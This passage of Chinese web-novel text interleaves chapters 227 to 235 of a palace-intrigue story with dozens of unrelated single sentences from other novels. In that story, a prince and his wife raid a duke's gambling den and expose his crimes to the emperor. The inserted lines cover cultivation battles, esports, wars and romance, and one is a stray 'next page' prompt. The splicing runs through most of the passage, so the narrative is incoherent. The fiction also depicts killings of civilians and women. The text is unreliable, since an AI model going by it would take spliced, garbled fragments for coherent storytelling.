韩秋怜瞪大双眼,不敢置信的低头看向自己胸口穿心而过的毒箭,缓缓倒在了沙地上。
所过之处,哀嚎遍野,被反掠夺的“受害”人数竟多达近两百人。
“我带你去个地方。”陆天泽帮叶语系好安全带,想到了一个更好的去处。
第一种便是对方查过,但没有查到刘晓溪的黑料。可刘晓溪才刚刚火起来,虽说一火起来就是大红大紫,但刚刚火起来就遇到这种事情,就说明对方并没有查就知道刘晓溪没有黑料。
第一卷 第227章 大公主的野心
“我不是怪兽。”子衿突然转过头来看着诗瑶,眼睛紧紧的瞪着她。
成长老面色陡然一变,神情惊骇,在萧天野出手的一瞬间,他便是感到自己被前者的气息锁定,即便退往那里,都逃不过这致命般的一击。
只是,这个大帅哥为什么对宋宁这么关心,难道喜欢宋宁?不是吧,帅哥的眼神是不是有问题,宋宁这样的人会有人喜欢?
灵王眼神惊骇,看向身后仿佛死神般逼来的三色火莲,内心那种恐惧的感觉更加凝实,面对火莲,仿佛看见了曾经暴怒的黑冥皇,那种感觉,是彻底的无能为力。
有几个官员受不了这种压抑的气氛,到州府找赵逸诉苦,说州府事务不多,无需多设人手,请赵逸将邱明二人调走。
看着浑身是血昏迷不醒的诗瑶,弘一前所未有的慌乱了起来。叫不醒诗瑶,弘一又慌乱的抱起地上的诗瑶,然后往寒山寺的方向而去。
高顺苦笑一声,暗说自己与蹋顿这一左一右跟随在周平的身后,倒像是周平的两个护卫。
白姥姥稳住心神,没有忙着动手,她在尽力拖延时间,好等着萧炎有足够的时间来容纳阵法源气。
慧可闭着双眼,手中的佛珠一直在转动,说话的语气也一如既往的平静,看得出,这是他的一种习惯,无关他的心境。
“孟叔叔,我是云诗瑶。”诗瑶一边躲避着那些来势汹汹的暗器,一边大喊。
也不只是巧合还是真的有神祗操控,随着白衣祭司的吟诵,漆黑的天地再次出现一丝光明,中天之上一抹月色缓缓出现,而后一点点的扩大起来,而后映照天地的圆月再次出现。
随着扩音器敲在手上的声音响起,今天的电影拍摄工作算是暂告一段落。春日对今天这堆从头到尾只有她自己一人能看明白的镜头表现出了极高的满意度。
警车的气氛沉闷且压抑,纳美又汇报出十分糟糕的消息,经过她的解释,方皓天便了解到b级基因在雅坦星域代表着什么。
无论那些头目们怎么怒吼、漫骂、嚎叫,始终无法逃脱被杀死的命运,不到几分钟的时间,会议室内的桌椅包括离耀和那些头目都被士兵们手上的激光枪射成了筛子。
“说来听听!”古乐耸了耸肩,一脸的无所谓,很不客气的就挨着乔玉坐了下来,顺便从烟盒里掏出根香烟点上。
??许有些人天性就喜欢率性而为,不是肆意妄为,不是懒惰无为,而是向着的理想,努力拼搏,无视那些挫折、困苦、失败,以最大的努力向理想前进。
她最怕的不是找不到木山春生,而是没有办法让木山春生苏醒,好在在她赶到的时候,木山春生似乎已经醒来有一段时间了。
让一旁的何老薜老也是一惊,不是惊于古乐的语气,而是惊于古乐那句“麻衣一脉”,因为世人都知道关夫子相术无匹,但很少有人知道此人的来历身份,故而让人神秘莫测,敬如半仙。
凉宫同学,尤娜的眼睛是天生的哟,以这个世界的人类医学解释叫虹膜异色症,可不是为了有意义而后天设定出来的呀。也不知道远在外国的尤娜是否会连打好几个喷嚏,万一正在开演唱会唱歌到一半岂不出问题了?
有希反应向来慢半拍,哪赶得上芙兰达?她目光都还没从厨房那边转回来,芙兰达就抢着驳回了莱维的提议。
霍雨浩冷笑一声:“考核完了,我就在这里等你。”说完这句话,他转身就走。
“去哪?你带我们过去。”他没有下马,而是直接掉转马头,让艾伯顿也立刻上马领自己去找陈漠。
地面爆裂,一道道深渊裂缝被撕裂而开,淡金色的血液从上百丈的巨人体表上溢出。
他只有一把匕首,穷尽手段也只是能在艾伦反应不及的时候抽冷子扎到他一两下,时光缓流还在冷却中,灵魂哀嚎早就被他有所防备,这个技能的释放不是瞬发,只要艾伦精神专注一些完全可以在他发动之前逃离范围。
躲在这里没动,连续两波天命圈之后,终于不是安全区了,不过也和天命圈差不多,安全区就在旁边不到20米。
在一片荒芜的沙漠中,吴昊站在艾尔鲁斯的背上,手中拿着最新发放给超凡武者的异兽探测仪查看着。
无数的导弹拖着长长的尾焰,朝着虎鲸所聚的方向覆盖而去,几百枚导弹,足够将这些虎鲸来个全方位覆盖了。
这两个地方的失去,让金和华夏没有什么地理上的屏障。他们若要打过来,恐怕自己如果坚持不议和,那就真的要背水一战,试试天意了。
天空星火溅射,打的惨烈,偶尔剑气击射在地面,地面坑坑洼洼,不少人远离了他们两个交战的地方。
用了一秒钟来预判王昊的走位,瞎子的Q技能直接甩了出来,正中王昊的剑姬,紧跟着二段Q贴脸而来,王昊已经跑到了防御塔边上了。
刘钧支付给各部的首级赏银,就多达近千万。这些联军,已经不止砍敌军首级,他们连普通的牧民也不放过,不管是老人还是孩子,通通砍了拿回去换赏银。
第一卷 第228章 夜探赌坊
突然间答应结婚,这不是他的风格,她本来以为他不会同意的……他不是那么宠爱顾安希吗?怎么舍得她难过。
斩钉截铁的语气宣告着她的认真,身体不是开玩笑就可以弄好的,必须要好好的养好才能够让他们放心。
这话是李晨曦说的,为的便是李晨曦和李大龙还算熟悉,也算是实行了当时定下的计划。
眼见彩虹糖那迟疑的表情,李亚林就觉得这家伙肯定说不出什么好话来。
“紧张什么?公事,不是私事。”秦可欣白了王旭东一眼,然后走了出去。
看到这幕的沈馨忍不住对着陈凡海撒娇起来,她可不希望自家外公太过为难了图瑜靖。
经过了一番交际之后,得到的消息依旧是不允许离开,炼丹师和炼器师们有些躁动了。
清晨时分,岳云统领的西南兵团第一师团第二旅,突然越过青雘县边境,向临近的箕尾府汸水县挺进。
“没错,那魔坑是个险地,但也算是巨大的机缘,她是能够净化魔元修炼,而我,本就是魔修,修为也因此大进。”美天魔也说道。
牛头怪首领,脚步重心不稳,不断踉踉跄跄的往后退去,这是因为双臂的失去,让牛头怪首领一下子无法掌握身体的平衡,堂堂首领,竟然一屁股坐在了地面上。
几个月前,老金在大昌着了蚩王虚冢中七星棺的道,释放出魔蛊大军,当初之所以上当是因为七星棺的底部都刻有图腾,而我们理所应当以为那是解虚棺的信息,事后才知是陷阱。
杨晓恺的声音消失之际,樱间抱着魔方痛哭起来,一切的情感与外力都无法阻挡她的眼泪夺眶而出,她哭的是那么的无力,让人心如刀绞,泪水也随着她的哭声落下。
其排名于地榜修士第十,果然真有强大实力及依仗在身。看着面前玄灵境阴灵,云羽表情一展,脸上显露出了一丝笑意。
我打着狼眼手电靠近一看,只见石门中心的五角形上还真是有一处缝隙有泥尘掉落,见状我便立马用弯刀把缝隙上长年累积的泥尘去掉,是一处暗槽,通过狼眼看见暗槽里曲曲折折,看来应该是类似钥匙孔之类的。
“这等机会给我才对,怎么就让一个才入门的罪名杂役得了去。”不知不觉间,原本只是好奇叶拙的人心思都有了变化,不忿或许有一些,更多的是几分看笑话的期待,只等着等下显露不出过人手段后看叶拙的笑话。
夏鸣风看了一眼姬暮雨,见她低着脑袋,秀发掩盖的耳朵还隐隐透出通红的颜色,也不知道怎么回答他的话,便没有言语。
低沉的声音,突然自赵铭体内传出,就在这道低沉的声音响起时,赵铭全身一哆嗦,极度舒服的感觉让他差点叫了出来。
雷动一刀劈向马车,护龙卫的剑幕随即崩溃,只见虫蛇纷纷扑向护龙卫的身体。护龙卫的防守明显出现了空缺。雷动顺势跨出两步,接近马车,可是,对于刚才一直没有出手的龙浩来说,他会让雷动这么轻易地接近马车吗?
因为此种灵物,无论是数百年份到数千年份,都可以为炼丹主材,故此就算此城有,也早就被大量的冰晶宫修士兑换了。
飞遁至目的地,见到先前在岛上探测得数道觉识无一追踪而来,云宇并未感到意外。
“另有主谋?”李承乾眯了眼打量着这人,看他模样,不像在说谎。
微弱的光芒之下,后门的两个摄像头不但红外灯不亮,还明显受到不同程度的损坏。
但李世民勤于政事,早就颁下诏令,君臣议事时,非有紧急要务,不得干扰。
这莱阳该是继承了咱们李家的好基因,五官周正明朗,身段也标致。
助理之前的猜测还真可能成立,那个肯定是游击队员的导师有什么苦衷,放弃了解冻他。
你的事,但凡是三品以上的官职,大家都是心知肚明,老爷子正愁没办法对你下手,就算不当场崩了你,单是这么一项罪,也够让你抄家的了。
前段时间,对方有意的跟自己疏远了许多,连信息交流也是断崖式的基本没有了。
李世民这时候已魂飞天外,幻想着这高产作物在那些土地优渥地区的产出。
纪纲跪在地上,身上被麻绳紧绑,身后还插有一块木标,嘴里只有出气,没有进气,由于脸上的血,以及污物极多,许多人都看不清这人到底是不是纪纲。
肖英俊本就相貌阴柔,自带一股反派气质,冷脸斜睨过来,着实把掌柜的唬了一跳,再不敢多话。
他们的调查结果发现,当时莘禾确实是找了那个学生,但是对方并没有收到消息。
若是连这点胸襟,这点容人之量都没有,那岂能入得了北唐王秦子川的法眼?
有一个超能力属性的技能,在巴大蝶的手中使用出来将是毁灭性的,是一个将超能力能量具体化的定点攻击技能,林墨正准备在最后的决赛中试试威力如何。
燕红尘的心神还只是圣心程度,虽然因为修炼了嗜血诀,感知力远非一般修者可比拟,可依然无法将这底下探个究竟。
第一卷 第229章 畜生不如的东西
如果有所变化,她就不能仗着前世所知来探查这个赌坊了。
她得先去看看那个院子是做什么用的。
“我们先去那边看看。”霍凝玉指了指门前只挂了两盏灯笼的地方。
几人向那边而去。
中间隔了一个荷花池,池边有抄手游廊。
几人顺着抄手游廊猫腰前行。
只刘大趁着火光向倒塌的木府内走去,在前院的石桌下刘大在一处石椅根出,按了一下。
只见来者一头棕色短发,从额前垂下两绺橙色发丝,头发在空中现有有些飘逸,五官还算端正,嘴角上挂着一丝若有若无轻挑的笑意,一双眼睛,灵活四顾,给人一种油腔滑调的感觉。。
随后这神侠夜猴变化成了天煞龙模样,带领师父和师兄弟们冒充是龙兽妖,将这天煞龙的数万大军召集起来,随后在澜江龙王的围歼之下,一举全歼了天煞龙的主力军团。随后便继续针对帝煞龙展开行动。
到了后来,人越聚越多,有一些王大虎统领的亲卫追了上来,脸色凝重的看着这些猎户。
而陈缘觉得这个问题太过严重,所以必须要想到完全的办法来解决这个问题。
颉利把大军收缩,最大的好处就是防御范围减少,十万大军可以得到很好的休息,被偷袭刺杀的危险也会随之下降,只是大军后退,会影响到士气,这也是迫不得已下才会选择如此。
就这样。伴随这些残兵败将的飞身离去,李光弼大元帅在取经人众师徒和龙族水师军团、玄武大仙、胡杨大仙的相助之下,一举攻克了龙鹰兽王布置好的第二道防线,向第三道防线继续进军而去。
这发炮弹拉开了攻击的序幕,一颗接一颗的炮弹射向了凤凰城特战队,转眼间便是满天的炮火。
虽是这么说,梁辰却觉得,这地一定有不简单的地方,就张远志自身的描述来看,那屋子算不上很好的宅子,阳宅中,水土地势也是很重要的一个部分,当年张远志的太爷爷买地的时候明显没有花大力气,更像是安家而已。
“走,我们去做我们的事情。”白宇辰阴着脸向一边走去,心情极度不爽,他身边剩下的三个护卫不敢多说,老老实实的跟在白宇辰的身后。
“没事的,伯父,这烟您尽管抽去。”徐建忠执意将香烟塞回高东南的手里。
米歇尔等人搜索了爆炸区域,吃惊地注意到,埋伏者连带他们身上的装备前全部变成了气体消失了,就像是从来就没出现过。
看到徐强已经带着两千多重弩兵进入到了南街道周围的高楼之中,马上就可以发起进攻,徐盛这边也开始做准备了。
大千世界,无奇不有,季空今天总算是验证了这句话的正确性了。
安迪枪了自己的配枪,射杀了三名黑人,此刻更用枪指着自己。看来,今儿个的事情不能善罢甘休。
这样的想法不仅仅只是大古有,藤原同样知道她身份的居间慧心里也有一瞬间的慌乱。
哪怕是他手中真的没钱,也能够以这种方式,直接学了秘籍上的功法技能后,拍屁股走人,根本就不用花一分钱。
只怕她本性难改,到时候……”百田嘉一郎冷笑一声,目光在xIg几人身上扫了扫,话语之中意思不言而喻。
第一卷 第230章 赌坊惊险
一进里面,简直如入了天堂。
大院占地很大,四面都是两层的厢房,院子正中间还有一个三层的小楼,灯火通明,人声鼎沸。
院里的建筑,雕梁画栋,美不胜收。
院子里假山林立,小桥流水,亭台楼阁,人间仙境,让人一眼难忘。
这么美的一处地方,却如此奢靡,与之完全不符。
“开,开,快开!”
郑枫:张飞率八万大军去新城,打败曹仁之后,支援襄阳,伊籍去辅助张飞。
对于曾经都在道家这边犯过严重错误的孙悟空他们而言,能在佛家这边重新登上神坛,也算是圆满的结局了。
郁朱心绪起伏不定,敛神福身道:“让福晋久等,真是罪过。”有奴婢掀起锦缎绣葡萄累累纹厚帘子,郁朱踏步而入,只觉地毯深深,毛及脚踝。
方言已经累得不行,躺在地上不愿意动,任由子龄在一旁不停的叫唤。
我顾不得众目睽睽,扑到十四身上,双手挂住他的脖子,又蹦又跳,又亲吻又拥抱。十四脸红到耳脖根子,平素他对我肆意妄为从不害怕被人瞧见,今儿反害羞了。
原本还是一脸欣慰神色,和蔼可亲看着刘烨的张邈,当从刘烨的口中,得知自己的弟弟,战死的消息后,他呆愣在了原地。
爱莲木头似的行礼,却无法开口说话,只怕一发声,就会不可抑制的痛哭。
但是,孙诗雨今天因为吃了丁海俊那边的亏,倒也是知道,此刻根本是不能随便的就暴露什么脾气的,若是不然,只会得不偿失。
“成王败寇,虽为名言,但我不甘心,就这样看着,这后汉天下,成为此二人的,囊中之物,为了我的私利,也为了我的野心,在这件事情上,我没有任何,不向你妥协的理由”。
“夫人,请把手腕伸出来。”唐玥点了点桌子,示意她放在那里。
“六爷,都说您是地神,神机妙算智谋过人,在之前的战斗中,我们也的确领略到了您的厉害,我比较好奇的一点就是,现在,你还能变出什么‘花’儿来吗?”李惟攻戏谑地拿鼻孔看着大屏幕,骄傲地说。
蒋欣瑶耸耸肩,她并不介意讲出这些,实际上,她非常想讲这些。
她罂粟善于伪装,更是不会让人起到任何的疑惑,这是她高明之处,每次暗杀人之前,她都需要大把的时间去研究,去想思路。
若他们都是扶不上墙的烂泥,就算苏驰再坚持用他们,宫韦他们也会坚决反对。
李波向外面一招手,他的两个伴当立刻把绑得结结实实的周仓给推了进来。
“那就好。”穆柠莜终于放心了,但是她的精神已经接进崩溃的临界点,这时候看到了他们都没有事再也无法坚持,身体不受控制的缓缓的倒下。
苏驰摆出了一副死猪不怕开水烫的架势。苏老爷子一开口,却让他有些意外。
随着一道虚无缥缈的声音传出,在半空之上,出现了一道与王开一模一样的形体。
“若是在别的时候,他李徊谷多半没有这个胆量,但在李家嫡系旁系之争爆发的时候,你冒然掺和进去,他就有了杀你的足够理由!”朱儒沉声道。
冷奕把手里的布条塞进了都里,目光看向了前面的峡谷,眉头再次皱了起来,他现在发现了白素素的留下的痕迹,但是又有一个问题摆在了他们的面前。
第一卷 第231章 机关重重
他们避开主要的通道,借助假山,竹丛和亭台的掩护穿行。
来到一处假山前,怪石嶙峋,路径复杂。
霍凝玉带着赵炳煜在其中快速穿行,好像早已走过千百遍。
安哈尔特公爵停止嘟囔,客厅因此更加沉寂,虽然是正午,阳光明媚,却有些夜凉如水味道。
反倒是赵辰自己不慌不忙,整日优哉游哉地在这破烂的废墟之中徘徊着,看着那一点点拔高的墙面,看着那扎实的地基,他总是感觉一种难言的成就感充斥于心怀。
“兜个大圈,这样应该没有破绽了,我们这就回g市布置,希望前辈能够成功脱险才好。”枯智的声音在遁光中响起。
奥尔加涅明显是犹豫,不过看看大让娜,看看海德维格,再看看眼神开始飘忽的帕特里西亚,终于点了点头。大让娜对这点头的意味非常放心,拍拍奥尔加涅的手,又给海德维格一个微笑,不再多言。
简单的对院落中的尸体勘察一番之后,陈道裕一身冷汗,他知道。今晚自己遇到硬茬了。
可是,连续转移了五个空间碎片,惊骇地发现金甲虫居然还能追上。
枯尘等人对视一眼,这才释然地松了口气,居然把他曾经斩杀过散人境魔族的战绩给忘了,那他肯定也应付过这些魔雾,既然他表现的不慌不忙,自然有所依仗或是应对之策,否则又如何能如此的镇定自若。
我就不相信了,安阳市的情况那么复杂,再加上社会治安方面也不是很好,那姓叶的日后凭什么就能和你去竞争渠江市的市委常委?就凭他身后有杜严诚吗?笑话!”。
不管是对方或是江南实业等任何一家最终能与县里达成正式协议都是不错的选择。因为买家多了,县里的价格也可以相对的抬高一点,可以要个不错的卖价。而且这样一来,影响力也大一些,对于县里应该是个好事儿。
白天街道上人不多,晚上下班之后整座城市都热闹起来。春节将至,街道上买卖兴隆,都是置办年货的。晚上这些城市灯火通明,至少每一条街的路灯都是亮着的。
好在木槿曦也是个知道分寸的,她自己做的东西到底是什么样她最清楚,非要他尝一遍也不过是让他得到一点教训,谁让他不相信她的话非得让她下厨做了。
“我这不是没多少经验吗?沈侯爷和圣上的脾气又不一样。要不,你帮着我求求情说几句好话?”徐佑也真能厚下脸皮。
距离“龙殊特罢训”事件过去了四天,这次无聊的炒作新闻已经成为了德国足坛的笑柄。
不论如何,龙殊特不仅打破了梅西连续三年独霸足坛第一宝座的纪录,而且还带动了德甲、乃至整个欧洲足球市场的竞争,他的存在可以让更多人关注这项运动。
“因为是夜里,光线昏暗,他没有发现。”灵儿心想。她环顾这个山洞,已可以肯定自己的猜想。她有些担心,青风侠的臂伤果然没好。
不一会,几个身影从主调度楼的后面走了出来,为首一人便是浑身缠着绷带的张思然,而身后竟然是几个被盖着黑布的铁笼子。
第一卷 第232章 不堪入耳
霍凝玉自是记得怎么打开。
当她按照一定的方式打开后,几本账本静静地躺在暗格里。
账本入手,沉甸甸的,记录着庆国公府滔天的罪行。
赵炳煜借着火折子的光,稍微翻了几页,心中已经有数。
梅花婆婆伸出手,放在谪仙的头顶上,她体内的灵力和道意瞬间从手上传入谪仙的身体里,在她的身体里面游弋,探查着她的身体情况。
而是还是太子,是未来的陛下,有些事情说不定给他说……或许比较好?最起码,他能处理得比较漂亮?
此时的周旭,双目无神,眼神呆滞,拳头上早已攥出了血,可惜他没有任何力量来改变现状。
“爷爷好。”姬棠想了想她这声称呼不能随便乱叫,便拿出一块流光石送给江老将军。
姜海月诧异的看看储跃,嘴角抽抽,这一个个的都是演技派的,自己什么时候跟他说过云天了?
几人说说笑笑到了停马的地方,众人纷纷上马,向东来县城赶去,再不走可就要赶夜路了。
摇了摇黑衣人的脑袋,让他吞下这颗黑色药丸之后,没一会儿,他就睁开了浑浊的老眼,诧异万分的看着洛钟鸣和洛阳。
“什么?”会长眉间满满的惊讶,看起来根本就不知道居然还有这件事。
姜乐心里暗道一声果然,装柔弱这招不管对男人还是男修都绝对好用。
张扬郁闷的叹了口气,事已至此也没其他路可走了。左右看看张扬看向马车。
“是这样的,与晚辈同行者还有一人,此刻正朝着您这就有深渊火速赶来。晚辈等人选择此时硬闯九幽之渊,正是为了引起前辈您的注意!”张凡嘴角微微扬起,淡笑着说道。
但是他什么也没说,而是直接去了幼儿园。到了门口,陆菲菲一眼就看见她家儿子和老师站到一起了。
凌宇飞扶着她走到李心默的身上,李心默看着它们俩这么甜蜜,也猜到了他们俩的关系也没这么简单。
听完清河郡主的叙述,白胜觉得自己有必要去一趟王黼的家,因为他产生了一个大胆的想法。
维多利亚将设计图发送到陆川的智能穿戴上,一千万份订制图纸,只是在毫秒间,便传送完毕,这一种网络已经是脱离了目前人类认知的速度。
这种手段和棋师相差不多,但不同在于,面对画师可躲,对上棋师可躲不了,人家的棋盘抛出去便是笼罩一大片区域,周围的一切都是棋师的棋子,除非能瞬间远离千里、万里之外。
“不必担心,这家伙可没那么容易死。”皇的声音又传来,虽不带任何情感,此刻却成了昊天的定心丸。数息间,那黑水河面上竟诡异的泛起了淡淡的火光。
陆菲菲被他莫名其妙的拉出去,直接甩开他的手,为什么每次他都不管自己愿不愿意,就这么莫名的强来。
其实,他之所以会选择这道题来考白胜,还真的就是因为白胜的外号令他产生了联想,只不过他也确实没有故意讥讽白胜的意思。
接下来钟离渊、钟离意上前来向帝后见礼,末了一起去给主位上的徐太后请安,落座。
Ps:韩家太爷爷是作者编出来的,但唐先生确有其人,是作者的师祖,经历也多是真实的。
第一卷 第233章 六赌六赢
“各位客人,可以买大小,可以买点数,全凭自愿。买大小,一倍输赢,买点数,五倍输赢。”
霍凝玉有点急眼,夫君带的那点钱,只够玩六局就没了。
陈希皱了皱眉头,以他此时的信息,几乎没有任何头绪,挠了挠头,他不再思考这个问题。
无疑,有价值让陈希没有了生命危险,这意味着他暂时不会被对方杀死。
也不知道袁浩云真是有主角光环存在,还是那些匪徒被飞虎队钳制,居然没有一粒子弹能射中他,而且他还站在原地给散弹枪填装子弹,这要不是李曦亲眼看到,还真不敢相信。
灵犀果神妙不凡,不过若是因此得罪十二明漓殿的,确实有些不合算。这一次刚好撞到十二明漓殿的人,也只能怪他们不走运了。
本来已经感动的不行了,这下更加感动了,眼泪都止不住了,她真的低头把自己埋在膝盖上,狠狠的哭了一场。
来到古魔塔的大门口,发现这里设立了一个检查站,进出的人都要排队,接受盘查。
齐玄易独自硬抗,怒吼一声,神剑力量爆发极致,也奈何不得五彩瘴气的疯狂镇压。齐玄易步步后退,被镇压在雷霆之下,不断被雷霆轰击。五彩瘴气想要借助齐玄易的肉身,挣脱雷霆束缚。
就算是大内皇庭,九子夺嫡这样的剧本,他也不知道看了多少个版本。
“不色师父,今天这些人太可坏了,我看咱们还是报警吧。”刚一进家门,萧可可就气鼓鼓地再次向不色提出了建议。
当游戏画面开始之后,在一片大草原上,俩台机甲遥遥相望。一台是无极驾驶的卫国1号新手机甲,D叫做请温柔对我。
但他们不得不认同这些合作内容,因为不同意的话,连参与进来的机会都没有。
“选自己顺手的。”方诗韵说着话,从墙上摘下两把手枪,蹲下身,在角落里的金属盒上输入密码,金属盒随即打开了上盖。
但百里长风就有些吃力了,呼吸急促,喘不过气一样,四人中,就他实力最弱,汗水如瀑布般直流。
“拜托!不要这样看着我,我是人不是神。目前的情况,我除了旁观帮不上一点的忙。我现在比你还着急!”受不了凌若烟那乞求的眼神,不色无奈的说道。
“大家都是同学,不用这么客气。你来就是为了告诉我这个?”李尔微微一笑。
他是真的不担心能否拿下英伟达,自从重生以来,他投资的这些公司,唯一让他当时觉得有些不保险的,只有亚马逊和ebay这两个。
这并不是说他们心中存在什么畏惧,而是梦界却将这种下意识的郑重,直接千百倍的放大,在梦界之中给他们塑造了一个难缠至极的尸玉山,却又合情合理,让他们自发的对其中种种诡异之处进行了解释,掩盖其中的疏漏。
当然能够抗衡传奇力量的武器也不是没有,比如在迪迦宇宙里面,完全体的反时空界能源就是一种可以对抗传奇级别力量的武器,只是哪里的TPC制造的反时空界能源装置太低级,要是在发展下去就能跟传奇战力拼一把。
第一卷 第234章 趁乱逃出
伺候在旁的四个丫鬟被吓得尖叫。
赌客们也都不是吃素的,每个人的随从都把自己的主子护在身后。
“怎么?出老千被发现就恼羞成怒了?”有个赌客自恃身份,冷声喝道。
“谁告诉你,我们赌房出老千?”袁俊鑫声音冰冷。
不对,现在不是想这个的时候,箐箐是因为自己的身体害羞,那么她是满意自己身体的吧,不然就会是嫌弃或者不以为然了。
他抬手摸了摸脑袋,从到这边开始每天都带着帽子,一下子不带还挺不习惯的。
以他的身份都无法知道对方的身份,这就说明有些事有些人,不是他能任意探听的了。
沈元丰看着面前硕大的气球,气球下面还吊着个篮子,篮子里可以容下四五人。
他最先看到的是洛央央的正脸,然后是许允君的背影,再然后是被许允君挡住了大半个身形的半边身影。
因为亚泉这番话,莫安更想哭了,但她忍着不哭,不想让亚泉担心。
听说是叶窈窕的母亲留下来的东西,韩夫人不由得好奇地看了过去,只见敞开的保险箱里,整整齐齐地排放着一些首饰盒子,虽然看不出是什么宝贝,但一看那个包装盒子就知道,应该是有些年代了。
蓝泽虽然身死,但从没离开过安安半步。他一开始是伤心的,安安似乎对他的死没有半丝伤怀,连他的头颅都没多看一眼。
他们的首要任务就是帮助陆彦解决天门的这场活动,如果连这场活动都没解决好,那他们也会愧对自己出来的这次任务,答应了别人的事情就要做到,更何况这是命令,他们一向服从命令。
“敌军大将何在,速速出来受死!”当冲进敌军阵营以后,只听马军一声大吼,手中丈八的青龙偃月刀呼啸之际,竟然没有一合之敌。
马江和杰立启疑惑的看着苏木,不知道 身为天人境修为的他,为何任由出尘修为的他们放肆,而且居然在众目睽睽之下,选择妥协。
步千怀一路走着,总感觉有些不适,哪怕自己简单的易容,贴上了络腮胡子和一道疤痕,衣服之外的肤色也被涂抹的有些发黑,头上还带着一顶蓑笠。若不细看,绝对不会把此人和人榜新晋的步千怀联系到一起。
既然陆彦是陈卞的朋友,那就是说绝对可以值得信任的,那为什么会和警方保持有不错的关系呢?
“吃慢点儿。”鬼面古玉见洛无笙吃太急,只能边叮嘱变给她盛了碗汤。
她以为她就要死了,却在意识渐渐消散事,感觉到自己被拉进了一个熟悉的怀抱里,然后唇上一软,源源不断的氧气被送进她体内。
凉红妆惊讶道:“上古?”她可还是听说现在还能有上古的遗迹。
就拿最普通的铜矿脉,与铁矿脉中的母矿来说,它们融合打造的装备,就能很轻松的,让装备提升一个等级。可惜这种方法的代价,比加入银铜矿的成本,高出了太多,根本就是赔本的买卖。
林王离开了射香山后,立刻改变方向,往东方皇离去的方向追去。
尤其是赵飞燕这个英雄,如果要是飞了起来,那可谓是逮谁秒谁。
朋友圈说说发出去没多久,南宫开心已经旋风般的赶到了夏荷别墅。
第235章 辰王最大的助力倒
“我们闹出那么大动静,估计庆国公肯定会第一时间去赌坊。
所以来不及向皇伯父请示,我已安排青凌拿着我的令牌去调两千京畿营的兵过来,人一到,我们就行动。
我已让青雨和青云两人盯着,只要庆国公一出现就回禀。”赵炳煜已有决断。
两人躺下。
有夫君在身边,霍凝玉很快就睡着。
而赵炳煜却在黑暗中一直睁着眼,右手有一下没一下地轻拍着妻子,如哄家里的两个小宝。
之前他派人多次探查都没有结果,只能看到表面的东西。
而凝玉今晚带着他却找到了赌坊最核心的东西。
看着熟睡的妻子,赵炳煜把人拢进自己的怀里。
得妻如此,夫复何求。
当霍凝玉醒来时,已日上三竿。
青风守在外面。
“王妃,王爷交代,您吃过东西就让属下送您回府。”
“那边的情况怎么样了?”霍凝玉问道。
“属下一直守在这里,不知。”青风如实回答,他的任务就是护王妃安全。
霍凝玉相信赵炳煜的能力,也不去好奇,吃过饭就坐上马车回府。
才分开一个晚上,她想两个孩子就想得受不住。
抱了这个亲亲,再抱另一个亲亲。
“我的乖宝,有没有想母妃?”
“王妃,昨晚奴婢们给小世子和小郡主喂了三次奶,他们没有哭闹过。”奶娘朱氏恭敬说道。
王府请了两个奶娘,一人喂一个。每个孩子还配了两个丫鬟。
“那就好。”霍凝玉把两个孩子都抱到床上,三个月的孩子动作已经很丰富。
看着两个孩子乱蹬腿,发出不成调的哦哦声,霍凝玉的心就柔软得如泡在水里。
没过多久,青风就进来禀报。
“王妃,王爷进宫了。余大人押了两百多人进刑部大牢。”
青风一回来就被霍凝玉派去打听消息,一有什么就回来告诉她。
“好,看来一切顺利。”霍凝玉笑道。
她刚说完,杜管家就匆匆跑来:“王妃,王爷派人来请您进宫一趟。”
霍凝玉稍作梳妆,青风驾车送她进宫。
当她被领进御书房时,就看到庆国公袁宏翼和二公子袁俊鑫跪在地上。
原来夫君把这两人直接带进了宫里。
赵炳煜正在向皇上禀报事情的经过。
“皇上,臣近来对城外一个叫玄黄造化坊的赌坊进行了探查。
发现赌坊里奢靡至极,严重违反了我朝对赌坊的规定。
里面除了赌博,还为赌客提供女子服务,且毫无底线的奢靡。
对给不起赌资的赌客残暴至极,动则砍手砍脚。
甚至还出老千坑害赌客,赚取不义之财。
臣昨夜亲自夜探,才知道那是庆国公的产业。
作为我朝国公,却做出这等丧尽天良的事,已严重触犯了我朝律法。
臣还亲眼所见,袁俊鑫居然以玩弄女子为乐,前后打杀了十八个清白人家的女子,全都是被他玩弄致死或者直接打死的。
在他玩弄女子时,还让他的夫人全程看着,简直畜生不如。
臣还探得玄黄造化坊里有一个地下银库,里面藏有现银一百三十万两和银票一百万两。臣还搜出账本五本。请皇上过目。”
赵炳煜把几本账本呈上。
乾德帝接过账本一一查看。
越看越心惊,眼神越冷。
初初翻完账本,乾德帝眼如刀直射跪在地上的两人。
“好一个庆国公,好一个袁俊鑫。”
“皇上,臣知错。”父子俩颤抖着不停叩头。
被抓了个现行,他们想否认都找不到借口。
“来人。”乾德帝一声高喝。
御书房外的禁卫统领赵玉麟应声进来:“臣在。”
“即刻围了庆国公府,全部抓入刑部大牢等候发落。通知刑部查抄庆国公府。”乾德帝怒火翻涌。
他怎么也没想到庆国公在他的眼皮子底下竟敢如此大胆。
赵玉麟领命而去。
这时辰王和袁贵妃匆匆进来跪下。
“求皇上开恩,看在二弟这么多年不曾犯错,为皇上分忧,没有功劳也有苦劳的份上,看在臣妾陪您多年,为皇家生下子嗣的份上,饶了二弟这一回。庆国公府愿上缴一半家产入国库支援边关。”
袁贵妃声泪俱下。
“求父皇开恩,饶了舅舅一家。都是儿臣的错,舅舅都是为了儿臣。”辰王也哭求道。
“赵昀辰,你说得没错,庆国公都是为了你,而你一直就想要朕的位子,庆国公不怕死地帮你,为你笼络钱财,为你所用。”乾德帝把话说得直接明了。
“父皇,您说得没错,儿臣的确想。儿臣是您的亲生儿子,没有哪个皇子不想,但儿臣只是在您面前争表现,希望得到您的认可,并没有做其他。如果最终得不到父皇认可,儿臣也不会如何。”辰王也大方承认。
这种承认并没有罪,不过是人之常情。
“哼,你敢说,庆国公府在城外开赌坊没有你的手笔,他私采银矿不是你授意?”乾德帝都要被气出窍了。
这章没有结束,请点击下一页继续阅读!“不,儿臣没有,那个赌坊儿臣是知道,但儿臣从没去过,并不知道里面的具体情况。”辰王立刻否认。
这事他绝对不能承认,要是承认了,他与帝位再也无缘。
这事只能推给舅舅来顶,只有保全了他,他们才有希望。
那里管理那么严,赵壑是怎么进去的?
此时的辰王把袁俊鑫给恨上了,成事不足,败事有余。
“皇上,都是臣的错,与辰王无关。
一切都是臣的主意,辰王并不知道臣的银钱从哪里来,他只知道臣开了个赌坊在城外。如何运作,他完全不知。”
